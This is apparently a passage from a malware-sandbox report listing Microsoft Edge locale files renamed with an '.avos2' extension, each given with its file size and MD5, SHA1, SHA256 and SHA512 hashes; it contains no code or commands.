29a1ce45a20945810830d3c60d12bca37ce45e6204058b8698a4f77153918a64dee3be46bd9d4b3b71ba95a43b348230e465f9ef60ee3826eca0aa52d86252f3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\as.pak.avos2

Filesize
688B

MD5
1afaaf4ebae22792cd1fdfb6dd505cf0

SHA1
cf94a273b1e3329af68ac66778bfe9393fd13a04

SHA256
8a83f0d4ad26ec4b49adf2c86b6498f3fabcdf5db63c03c47da0c486e4a50ae9

SHA512
b64e69503a84610b4f0151513c147d719da2c3f1a5bc390b84fe74f94309507ef2993f7d17a86d09633833cb0dc80e16450075fbfe2b7434fa838f58be8a9aee

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\az.pak.avos2

Filesize
688B

MD5
744becc327267a1cd760e34f650c7c2d

SHA1
a8198dcd11823d04d6cc07d2dac36cb9c32ca5b3

SHA256
08f28a25f45fe43e15e7aec0799b80e720758665fb7b182506fde3df055c6c5d

SHA512
538e9273ad438c31b3c3209492ddaf3c284f762b954642b1c52a877be8c33f1ebddfbf8d6343567bebbfb5f59d56e73200e99d45cfd1b4ddd8449af4012a4c51

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\bg.pak.avos2

Filesize
688B

MD5
89512dcd2dc532ca25f8278cf26131df

SHA1
c0295559355c1e5c5db070e6cdbb017b1610c3cf

SHA256
bfe39b8b7da06f584acf3d74f2bc8622d4bd699c58a9185eeb1078c9b867c9a8

SHA512
f5bdcdc527581eeca0314167260c21df5c3b7ac705d98cc061ae6f3beaa15b94d41e3fa84d84f983b9e1eb9941a3940ca12be591be4f02d83d864b4a5fd26937

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\bn-IN.pak.avos2

Filesize
688B

MD5
4e767d7fa9c077c20425ff1ad5c1d4e9

SHA1
fc4cb8c8cae6cc79bc33111c0180dfbe50efd68d

SHA256
0ab5f108046d7d54f44f5fc652e253956e34bc50824f381fd67aadb003512da9

SHA512
b0c1606e2972d453eeff42983c27dc242f6982e2f8575b8cbe2716808c56a428a48bddafe809e5e4f86c42bb859a4faffe399e4ed7d90bd63a9e07a3becaead3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\bs.pak.avos2

Filesize
688B

MD5
355f2a404c30930c8edf03961d5a793b

SHA1
16f33c4f7024abaabb736dc7044c24d1526dd62e

SHA256
653062ae35b52e2a095e78e975d9108e36f1804d172cca5a98ce64f500ec3a06

SHA512
1f778f55d68d0ffbc30bdf01ba181988e9de885a8fd6f396abfdfe2e3cb9b0dde9a65a1655729ad892d4070df79ef3dee920ae553468fb66b3615af4381b2842

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ca.pak.avos2

Filesize
688B

MD5
f694bf1d3df6b979406235cf447ff758

SHA1
102d28c42166b6f5def143357918d1f4477373cb

SHA256
9abd7ea3cfafc0f38622c0d7f7da3cc8ea5f3bfbe0183b139115221a22b30448

SHA512
893c2f8f7149e6c4b334e8fd2e90354a2caa19a2c749b46343fd3a3afa37b66fd3dbfbf6da5088550620971613e9f7cdd4adba4077a5d519b9eb574f8c675c95

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\cs.pak.avos2

Filesize
688B

MD5
993658e7f3af5243dd114c2406917e25

SHA1
e99de9a495e79a5593346eea585fc49f4001a06f

SHA256
4a100959d84d321929fd8ea71e36a058b99393f1a447589013a2f449b2806219

SHA512
97e525f00c2b58a16d73baad7370f8807d98bd28d1403b1ca533e711bae4dd3d3f861c3a94964ef80710f7496c8eb5117700c2a89f0f18296aa7f3b56930a21c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\cy.pak.avos2

Filesize
688B

MD5
7fa0fe01e57b4b8255e4df8de4d47216

SHA1
cdff9ceaf3261f8136669b353ecd8b717a07bdb0

SHA256
b27d9fe6ecf6eaa9800a03f88702fb74b8df678ae37998e0cedc3bec3a48a595

SHA512
d631d332282ee5a925c391f27a65c3e46889774a3ce1a7840a1a4aacbac737e97da3f7ddb073e353862b4c7d54b6ad177ccc3b33941ce4be629a1d7bb507fa50

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\da.pak.avos2

Filesize
688B

MD5
ec3615325e85874e09ac8eacc99c79e6

SHA1
350db80f5ee8c3bc777b6923b5085c9e7a7ddb24

SHA256
e565100a1f270a3c66d5d7690ca3ec3c1b1117200695a05c08a9c83712370fb8

SHA512
ebf7f650d490c86d692900c25a312fbd67782ac3e45d072953a88ae494991ba4680f9f39d4d736e3ce3257503269f50f04001c6c3331e29c2e1f35fc509f85d9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\de.pak.avos2

Filesize
688B

MD5
9d84a867a63b3050b0d8f868a41783c4

SHA1
4cecd203bec7596bd9209ad1ffe74c9890d92db4

SHA256
2ddff0d07f7a6280480caa16ad375c36706716de0fcf7435418628c8a883333f

SHA512
7780fa161bdfd7472f5c62212d24604fb2b8b26107974c01f7397285270343aaa20c7d0f64f3125b29e4f4dc269876e5be38d2b0102b54802b54fc6a866e6c1b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\de.pak.avos2

Filesize
688B

MD5
4ca366a795aaea5b46f01b72557811cf

SHA1
70837c221ad54df5086212ae3e1b0dc231366701

SHA256
3fe85b0474de1cd3c77472ce9f6a10222d0247bc77d4ebf8b1ab819233d72e53

SHA512
20ae39405e4b806c501b640fdde433e6c0158c0f2404ff91a0d32a02926435f294a72af0f211eff3ea7b99806508506c9ae422d27d0f8d65cbc53861c7bea212

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\es.pak.avos2

Filesize
688B

MD5
532eef2586d1ff21a4e99d571d074862

SHA1
5ab6bcc1bdf71790b6a0b734630798a614726184

SHA256
9937cf9a3b67dd904388a2a33aefbc729bd48a64dce816f13700dfe9a987a842

SHA512
436aaddaa3657fce7a6e849219fff45dacf40768405e1d459163c6707e91b22355810acbecdb0109a4024f047bacc453957bf6bd02f95fe27dab2759ec84f740

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\fr.pak.avos2

Filesize
688B

MD5
2c30fc000cc2f01be9e589f02321aa20

SHA1
631741c47f827a04ceed941b07b77a3da88f5da5

SHA256
dfc277a32ca6a976d83e448a8ec6a4d9a68cb44363e2f087686e376cb772f6c4

SHA512
c880cc81ec20bf4d8787a469ccfc33e2457c8e84fcb4215b2ed0c96512b2ff20ab43b8fc80bd989328dc305400f0d64a0f2318b4828a2a5b7f4e5d22618c38ed

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\it.pak.avos2

Filesize
688B

MD5
a9ae434ff12c821bf20827b4331798b4

SHA1
6d7bb18465ea09bcb8d4561cb6953c2e8b2241cf

SHA256
9ab14fd90c25419337ec6c6d33c32e56a5f5dcede20b402d5d7b102a6542d5cb

SHA512
b100f5c7b90412d548efec3547a77edf3e8ac07277c87edd57902c3194662faf6a894c7438d3809677179d0eb626c1042a638a77aa14a0441b2482110abea5e1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\ja.pak.avos2

Filesize
688B

MD5
477298eec4898e156c9c4c6ab9b0f1db

SHA1
d1023aea08c02032e50391bd915c13d0d3efb8f2

SHA256
7adbe24b861c360f55295de99293c608e5ee86ffbe6efa35ff270c7abbfbbaaa

SHA512
63da9320d658dba7de7306008270f87a1cde93e2ffacaa1cbfa42acdf34c1bc7b2e9155c53ec1e9a7b2a7d65634ade12c7f0bfef1ce60cca4d0405be211e444b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\ko.pak.avos2

Filesize
688B

MD5
f88897e2bec6a14ba1650eea642c078f

SHA1
543d6aa5ed774aab1634c9731f634c9d84401b5e

SHA256
ec20403e8a4fa507056cef2a379ce6176613c96ee6601dbd7c7ff04096853c86

SHA512
3159e50a3720356d70a5eecef3adf53473f06b93b2e01a4dfb50b087577ece7d6d277f52c4dd0ce9a0658f221bfd9f90de9e8f2b62f6a3d70dd3d0b9cb37f2b0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\pt-BR.pak.avos2

Filesize
688B

MD5
4e28dcc9300bb06434384fe06eb8d37c

SHA1
1eb3071c2dd9300cb3cb0258d8d76727b50553ae

SHA256
ed07311d3feee7e2a97a3d227f8a11a73e5148298729a126c570663020d10d13

SHA512
f41429fdc63864358341fe482c259c7380495a76388fa370867f898b4bb0dcc76635f11677a74313d3b8a199885f6c74f52ceaaf68cea4e2c7450c4005e0f891

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\ru.pak.avos2

Filesize
688B

MD5
f97329c2594f17ad4218e642f49f85e1

SHA1
fe4c91390fde99ab355263546615ae9878b0e720

SHA256
5154e6b5fbbd74ee179739e7c5228900657ccd5de2846eed8c6866226f347997

SHA512
67d17e87c1d0f1e8f846a51deac65c692892121160b4bedea26b85ae52f09fe1864ba793fe3568d3f83b8ac22f8aafbb75d8b5169be77b2889b77bd713ceb913

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\zh-CN.pak.avos2

Filesize
688B

MD5
71cb7c1976147b05fd6d8a0b8e09371c

SHA1
37816cca77bc3b37706785f8d880af14859e138d

SHA256
7cae016894efc5dea1f6f432aac9e0c1b15ba62c92c8c9966c344e246bc5e745

SHA512
8efeb18ab71447c86df273455757fd6e89d51ebaf4359a37ffe401b7442e0e79492a92832ba76abcb4c0677c09421ec96582a2c69f2ca4ca146f20f595cdba1d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\devtools\zh-TW.pak.avos2

Filesize
688B

MD5
9dc57439fa0783558296f64f7eed6efc

SHA1
a38c5c485de6f6cf13c0614a0bc5ed5a26588682

SHA256
c90173c80a8b6894bd8bee56591b7dc7ac6ddc4ec60614ef03ebfa15e45f2c71

SHA512
cf5652a6a22cd07eafaf43f7b1cbc4b5fec61ecd7feac621d30e72dc1c8251e86d63dbcb5720973229ea47683606dbb4d0bbc2a10e67be4c2fbe695a8791df9f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\el.pak.avos2

Filesize
688B

MD5
6bdff56d1a54627985b9d287155c57f4

SHA1
1a193e718b6734a65192f9297f5c9d14c225020b

SHA256
bd739529c0909a3299c706263e77781648ca6fa263d18d42e1a01d43e0d320f7

SHA512
e7d3faeed48a9b0b712d810eaca0e3a468d664fce27b7412a6302ebd8b678bb2f7588f847f95ae2f0ce0a9ce1b3aa49cdbe134324421563f9837f12904b844eb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\en-GB.pak.avos2

Filesize
688B

MD5
f4f3187fe1486940adaa7ce8c754ce0c

SHA1
b7717d131964221ebb9921400681a2838f714af4

SHA256
eab9f135088f49a5b770614ea2c9c7e1cdc7afeb0a61a79fe0ff9cc8b01328cc

SHA512
b9cbaa346ec7d255dbcf5dd7d42113807bb87b5af93c1e1fad95c85013c3dc7b9580805d1f0b9f63e881fb8e4db55bb99f6c3df76653a54e7ffdf6ca6f930ca0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\en-US.pak.avos2

Filesize
688B

MD5
7089bd4634de629a65835b4a458f33bc

SHA1
3087989aa86e9fe564499002c766698cd51b1857

SHA256
46635000132161f086ebb410dad018e2db36e2d8ba2f3c0ce5586358a821b610

SHA512
a31253fc51492f6876aeebb8f64701aca132ce2f9e994450ab60ad10531792203fb6d0ab977fcc9297be622db78dc5283844e76e982f08b7b338a8b2a91c03d3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\es-419.pak.avos2

Filesize
688B

MD5
125b540b7934e27bc0739d1a833509fb

SHA1
c0160d6b17b1104c80c3303c1544c78fe73d3f15

SHA256
4eb59de060b27df4b49e7ae103f454f6088f758588747fd13e47c9826685c93c

SHA512
327c9626066c02c977ac4590b8b4a2bf264d1b27d4eca9140dfe73949478172728725260e1924d1ff70654712472b95e16de4eafde17bd058a38ca42d63f9bb3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\es.pak.avos2

Filesize
688B

MD5
eb21bc944466bd4b8a76bd72ffc21f3d

SHA1
1e15e7ed55d3743f53f15da91f228ff92213f306

SHA256
e61e4931e0a2d2c75222e8f85d6bdc12b9b4371360a200d78bdae8128eeb1d45

SHA512
89b167d87d32ecc9ac9d911a5f76ee066e8c397cd9239ac5ce5b5678c1e732047a5d1b87266e8fdce1688b472944f1f344af769999e058a8b667a57d2e2152f8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\et.pak.avos2

Filesize
688B

MD5
09e1a9f31f6cdbc483830a855d9371b3

SHA1
ee9e7cb027b500c8f3d7ea1f2c9e3ad8153a1634

SHA256
c0b4c59ce99a325e1aa2c810239a4ef03bd8e82fff6c4af1aca2db12d0192ada

SHA512
b55a0a8c5164f28c8b6f38c01353278055c232c2817e2b0f155bb97136b693b5d33bad54094430b8599e372bec360f881aa6d8787c80f2f515b8567863af7936

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\eu.pak.avos2

Filesize
688B

MD5
754b5519c0c30eb609f5bb93523496ad

SHA1
f6198246f3f12accba3f1f3b94914e2cfadbf9f2

SHA256
cb188555eda0a2b67ac3405e66eaa94344737abfea8b731eb4ee2a426edd63cc

SHA512
5e4aafab91d84a90ccb9f98d3dd96c57339561f390fb41bab4cfa1ae3ba17a86312125b432522e123fb3eb466c18a832a38bb79c6942085b30fd8726451540e8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\fa.pak.avos2

Filesize
688B

MD5
0e8a9fafbfc225a0c5f85b67661ca817

SHA1
c66066dca9a5e2bec23962113a931ecc321f8cf8

SHA256
77cb712b31c0291da6c8ffbe969bcb0ae4f7a3be40070c4c29e1008d45c74b8c

SHA512
86c303795be4f4a03a218988388b0f10d9cf5ed7f9b180e4b9c68c810a0dd3ea5029f6ab9c2b05114958065e56b4745704b29f303546c19e39f8835aa915f241

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\fi.pak.avos2

Filesize
688B

MD5
966f1377cc7820cb78fa7a079142d512

SHA1
f899faa99c6fa52be906ea60cc89eee66edfa39d

SHA256
192494d4b78b29946f553226965bba07d259164ad979f1f05247a5c2a46f64a7

SHA512
4aa0a473260f1432ed72d69a5f4c959c7c7452230778f40305695d49198f12a480a69c3d98a48b5a81b13913c8e3a24e40d1bbf50c3a57b2ce87fd036395de0e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\fil.pak.avos2

Filesize
688B

MD5
a1ee693aeb6311397569591b8d0ca79a

SHA1
708cc8dcfcb0877d92e59cbe951945e02dfc6908

SHA256
7878d351261194c1aea0c27f9ba64f7e11b11db743dc7995bcf32c654b2e9484

SHA512
b0de37cb72cae3e4f14f01b000373f2995e6ec6bf99549724da69e8f2f6bd3b7e671660fa7ae60a41d35c8da1bae0745346445eb74c67ba0d866afd7e51f6e1b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\fr-CA.pak.avos2

Filesize
688B

MD5
d571332e1775a8cf380a95e0da97d85e

SHA1
b5ec051f7945302b6dc75d37a47b1082c9d9b306

SHA256
5d8b09c66bc72fe27558bf4202029df2929a1d02a8659ece377598de4e5daeb7

SHA512
ebebe6c51f5fdccb4c09377cb6d136841700c6356638676561f1ebe0b5dfebd64e72f9a81eaf31ea3f980ee1e24ef09c18f2974033947b2ac541a2f800fb7844

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\fr.pak.avos2

Filesize
688B

MD5
3120917de2b681252878141d719e3649

SHA1
359bba6461204d3ab09898b934c616587e1ee9bc

SHA256
228d1a769c9115d318cf95145350d0fe0990748506451cd110248bdcbaf8ce3a

SHA512
f9065b12bbbf2a62ebcfb979df3c661de2f14445b9effabdb03985086bf327db29b78d3eed61f0df8b651260f25927673c1c45819a2ba4d15a8c2affcf0c9895

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ga.pak.avos2

Filesize
688B

MD5
bf099a9bbd35fec41d84a332b1d8f5a4

SHA1
59ee609466f9e1f96d9bdfb476551c9c4c174f75

SHA256
ee11aee5b067daec074fa0f4e954089242fe166d004e0c5fdbc3d9f3644d5847

SHA512
f1d6727067b65f39c424643c9d0faad2d5e3be5d34fd59c367d61e7092fbe643362354a8d00b5ff491bfa14d7eb4fbefcd3bca7cb1040375edf885e24996cf44

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\gd.pak.avos2

Filesize
688B

MD5
5fd92516d0cc7a2c7b677b1203dc7f0a

SHA1
07b32f99b40c0aa66eee862c5be386f962c9b171

SHA256
0609aa90ae37dc90122250439a804c684baf32bf48563b1f77d5b93b4ebe67e1

SHA512
2051ae0e2aab9e8f598ed28d38f7fe61ffca4d10d5ba65ad136c8332ddb341719ae643c68c6baffbec701a66d0fd2075477944defef823a924923ee2a638369d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\gl.pak.avos2

Filesize
688B

MD5
b71fc0d1da418f2c22b04eb4448de327

SHA1
fbb0f5e6e780919c40cfa0079d04309caf953238

SHA256
8f9ee5cdc1bbc1434141a55cfd71b5c5f066de0a24e07c885458f894de0d8af0

SHA512
96add4c018d49bd6149bb481a52c30ecc828a06b0e87b7bacbce83b699ad7f4bc58bccb438baf5d7eba25912b392cc0ef5b3ee2fe4dcf8449d6c7c018dd17e43

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\gu.pak.avos2

Filesize
688B

MD5
4f20e70c05a13ce86b061f38c1cc66f5

SHA1
738cde597845015bf85a6c0e7c4f9dad7498dfd8

SHA256
4f2c44c4c3446829b02e6a5fd837640a7454eddf335d03e099f32bad26db7f80

SHA512
1150121a1b497b94a23f0d4a7be54f4c4fe4c72b23c889d995104d3db95ebc55221990f9dce97153451e1b17b1e42bd308ae669799806baf8c9f154727173990

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\he.pak.avos2

Filesize
688B

MD5
091ffd8e97e1ca9516662e3e52927173

SHA1
e3466df5641cf08f9d51f214f2eecfd5b65523e4

SHA256
eb8e4b4496f5b9323199806ffff8127d225009480e9267c2b3fae2c36f28c0c3

SHA512
5ea39cb237059a72d17f0c82f1e38559887b2f611e296d32fa32c2c3b11ce1e3be11ba17d1e306018c679e6e250bddacac3d75f37ef7c6bd2cd93dd004427dba

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\hi.pak.avos2

Filesize
688B

MD5
b2be39072c8b386b1244b9aea1944360

SHA1
b48831082608185051d9591f912155494ceaefaa

SHA256
aba1985f7130df8c89bb5e44ea81508297415152fd606e545f4c6295962699aa

SHA512
a8849cb1f9e4db061c6a76e5fbd937e0a91d82f584e598cfb83aa7dd9f6b5ee8988e21e19392b6a3d22868559165d58b22add0a7e1568d4ae065beb334bc8c45

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\hu.pak.avos2

Filesize
688B

MD5
25d86e93eb032e4b3102ad27e8b61644

SHA1
93175d31595c87512f40e92effd7293e67888d4a

SHA256
ff20a8c05bc8f88b91a4429c25906b5f77b50a3eed66302387f5ce5e1a593524

SHA512
6798173131ca402fcd23e6ad4ced3911677d7aa89dfed19e4b72e642d7206778a3966953099fc8654ae32efa4d27670ad2694dc11d25fd9aacc713afcfa55935

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\id.pak.avos2

Filesize
688B

MD5
7763d2b048bd736b201803557252cc32

SHA1
1d7d1187c6fc6fc4f060745832847b040eddd46e

SHA256
eebf96ba4ce55d4a6c7730658a44625d9b406e9603cd2e6368398ce97c3c1c8c

SHA512
66d15fdd8b8767aeb8aebcfde2022453db9e135e7c06710bc94a0471781bf08fe88bf3e1518ac19c3f5d65c061d2e9e948cfa40a2b923de163d0ad57b5e4545d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\is.pak.avos2

Filesize
688B

MD5
a8710931f2c1169edbef999221c8f8a3

SHA1
bf56b73360106a766afce3b6872ae002dd76face

SHA256
30066f190b9cb83495b06e66737ef029510bc7cd1ebde7c7d0c6e92d9ade7651

SHA512
5193ba2f97f98de2a54d1917ac69b759d199c12ebc5d597668c5e9c2bc708e9d820d2a753db14abea80145a84f22e316fbadf5f4736daa27275453f4b18e874f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\it.pak.avos2

Filesize
688B

MD5
7ae3742fbd8f91ee4d1a5f47570cf44e

SHA1
fafdb93f59a5ffd7081013327d34e0689ec6ba8c

SHA256
c2b5036bc821056a6b92e66696253700349f3036d0948180e2223dfca4cdff0d

SHA512
4a0061c8cd71149c28ee08aad9dc2ab46c4b05926b7c6d95ec8da289426f1dfa80fc3f7ac46655c0bd9c8aac98e8865873dfa5ce0970f1b5f7e1980d3c52d8ef

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ja.pak.avos2

Filesize
688B

MD5
77500642c856df5335ae9c4a6911bb6e

SHA1
a1525efd02d63f45490411afca2e4516c57f46f2

SHA256
982a1d5f4a189a909c9b132629b11629db32bba97438c5f4c1965b1656e678a0

SHA512
cbbd53a14d751bcf79f37feb6f5e48775081e5d9ad8a5c23fa6568c047d3b23ef181a6564883a523707b3f700c8d5538a6b2b5d2d5aac61c5b660c8b67cbb662

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ka.pak.avos2

Filesize
688B

MD5
7ca0719309b5cd6145d6deb59a45adcb

SHA1
e28a4f1ed99f5f817b77eedc9b51b387be14c2a9

SHA256
fa1b5922d358403e762c1319c167f1a0ac9ae5dcd64386e07ac06953712f6239

SHA512
d68b7690e82dc02b16182b8cb0214431a8770ac7597dc3a28502c074333dbb4fdac46cf4ea6a7a7d6bbba7e17972c15c23726b8dbcae0d9f9b51cfb88b671409

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\kk.pak.avos2

Filesize
688B

MD5
a43ba41965b942d7927c900ee49ec6bf

SHA1
688ffa4610b7087e18f202d8a725cb39ff2801ad

SHA256
3c6cde14c1f6bef54bd17b6cea0606fb4b9ee3bd522a7c650518b1d3d27a5e44

SHA512
f62867652db57a0bb59333000340db24ee6a930d83fda6cd9dfde9979f75fc84da6e6b5caaf89731ec2756a3fbf2e6ca4264ffa85c88f21da15ee1e2b675507b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\km.pak.avos2

Filesize
688B

MD5
e204a4abb83818f109b0a67b06c24a4a

SHA1
0bb3971a430273be5481fa36b6ab184cfc1902c5

SHA256
4855785ce90c08b377c68eb8544a45433f6227a28f63eeb34c9959b21754f142

SHA512
169bb14ec0339d5e530bd9eaa40020d042afa8be19d0ea304b53c72d61f6d12ffdddd9dab7d283aa73208adba6bea72fc52017ee8bc02b6e78d43300414df7ac

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\kn.pak.avos2

Filesize
688B

MD5
9098127def2a34cdb0ad3cc93017a17b

SHA1
1a6368bd21e5e2dab7f470bb5a4b16965ad62a5b

SHA256
b1f7811c60a0705f7fb13783ebb6375d9ee2e35b65d85643bd810ddb9b3f0bff

SHA512
fd05d64a20ea380eff21a8c1dad939b05bf98ec0f3dfaa28a0e743b00773e0458c6bd44c7886f15dc151bdb029023b90cc19c33bfe699df48a7d02b19e2136ec

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ko.pak.avos2

Filesize
688B

MD5
0a7b65d0fdc68c18946bff7ee41884de

SHA1
79b69be528397d1e08494c7f57d8e577ba97c25b

SHA256
f1432418a3bef193277fdb668a1b533093ec2ad06372ec95084f0ef0aa7ad1b3

SHA512
5d9855e00e6b2867baf69df6e9ffdf44c4f77c71186026b08e1dc9da6d817fc3566793394e25f1cdceef4805aac5e82f1648cf490d379c5a275d40d817fdfb2a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\kok.pak

Filesize
688B

MD5
53429f56702564b3826024692f7f6e9e

SHA1
d04627233fdfca6ea84ada04e21c1cc0ca5f6f90

SHA256
74781a3dcef116034ec0fb1783023e845902bcb826d589d74acf93eeb8f920f3

SHA512
6274b44aea6850e7a76b6d23003f8e4ab0a7960ca09f285b1d9a3d4d05a9f6ccff3936aaad8f89709363927b25f60b2399a83381480a84470616b7fea53de03e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\lb.pak.avos2

Filesize
688B

MD5
1f7265ce37a8c3ffef1ad1b00438e796

SHA1
8641880f4e0a2d6cb928eab0f9e34ce74c617ae7

SHA256
0a833c32247818f2b808a2ea5a1f3f0ed133e33f49be15b9145f1470f725aeef

SHA512
bbc14cf66399a76fdb8047becd6eef6afc2ccff2b6208148590f8b0c1f9b506e19587d01b627928105b80928bb56f8a6bc3a32045e59308b63681420552e64c2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\lo.pak.avos2

Filesize
688B

MD5
8571d719c2ac5eb67e7eaccfc201170c

SHA1
1c907bee753a5c8197a5911631fed852707bbfb8

SHA256
a3f21968d02db0f930d4d4b36b4b47df6456505f2e7aca44e9acfacab2654e2c

SHA512
016372b15ba55c0f4a2d6b4829c4db90c43569a523082d59f743ef5c0f7b145e26d04045f93544f3b483b5484f3b4f6b670abe91616b1b5e31d20e9acc309211

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\lv.pak.avos2

Filesize
688B

MD5
aa8200bc90dca5522fa9cda3095be55e

SHA1
f57069d3e4f703f4adb6aaa06048516539b7e1a7

SHA256
6d4c52e2b2fb896367c6086c270f90ad454bdc001a3c51e17d4f58490e7e2e39

SHA512
f4f6fcd4c06c418ac42cc15b475a2309f63a2ba37a2d00d41f4d9462459cfdd6ec633f6e7fb8ce892c20d06129a0e8398d852e736fda9ff4b3221f2277c16204

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\mi.pak.avos2

Filesize
688B

MD5
fcd4c5d1c3fa30baaa1254988f5f1b47

SHA1
991dee965aa918a66d484dc33ad8abc29a1f07f8

SHA256
fd1310dadbdaea05765b62f6863f8608f32c50a7e52d56dcdd9aae99dc172269

SHA512
3f9f95d478b88d3b8767e2034eb4c350b846b539a7dffd81349b3e609444ce4abefaa09f3c53feb1972da3322f343aa01f5f41874a48a3dfda7a04ffd4d01ccb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\mk.pak.avos2

Filesize
688B

MD5
6140e508bee73583a5eecd968bd28176

SHA1
028b6c4170f94ae2c2748ff4162d3da593355dcd

SHA256
4c497d16ceccc09a1bec65b58bbbd5d972d257360c26c29fbdeffcce78304743

SHA512
e8a5c6018f950d8f891f047d54b67f468b484d69b023866ea5368495acab73e19ee5e6536a2125e48ab970842eae2d67e7b5835a0bea9af734313a20d36652be

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ml.pak.avos2

Filesize
688B

MD5
7f73c2f2a2add9fb2d8c86478b7eeacd

SHA1
0553536ab54fde35bb589f780a9566b3fecafbbe

SHA256
7e0bee8888d4ec8021ccedfe7ecd62ca93c76e7a3e4397fc41f0da25c3c7e0f9

SHA512
ebf0f274afd3013414e48507323d10f945eaf53d6d78bba6a04a08869d32d677b15a4db5ac7bee159e77d0308f0855cbc86a1fdb3e9d900a1b6b38768474db28

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\mr.pak.avos2

Filesize
688B

MD5
5327189c91f4a78697a1db6e24708e94

SHA1
4b48706e18ffae37ca4ef0b4b837c2217d388396

SHA256
fddde949dadcf500af32ec526fd9cd05dd0e96263cd85849b0ee8a5a317aa96c

SHA512
0bc4d5e20dffc1c2ebdd483200dd609edaa157649e0c7ef65ff18cee568e45fde8a74780fb7c5113b49580c2febf32cd70a578d7683f154c28960d8ffd24b326

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\ms.pak.avos2

Filesize
688B

MD5
556a3431090ba128319bb6344041d244

SHA1
3af7f8d87b2c79306c60b24a3bbd862cacaebe9c

SHA256
58cc985136b30a0c52d5c95835bc50a791e4043fdf65481bb146d84071b27a9e

SHA512
0067427dd875db38c27110228db9d5ba96909fd8e6b96e82119824c3798f92016981f50e620ab5bae122db6d1d09274bb808bc9f7b1ed3936ad11be4c3dd9229

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Locales\mt.pak.avos2

Filesize
688B

MD5
6fa1e2c0138b3caff65fa25bcd3b1b36

SHA1
a526396809271f44212856d801dd558d637ef5b0

SHA256
b33ea0111447ff9c8ec6bdbbb377d50b9b71db4b0881d023e8cad772688a4616

SHA512
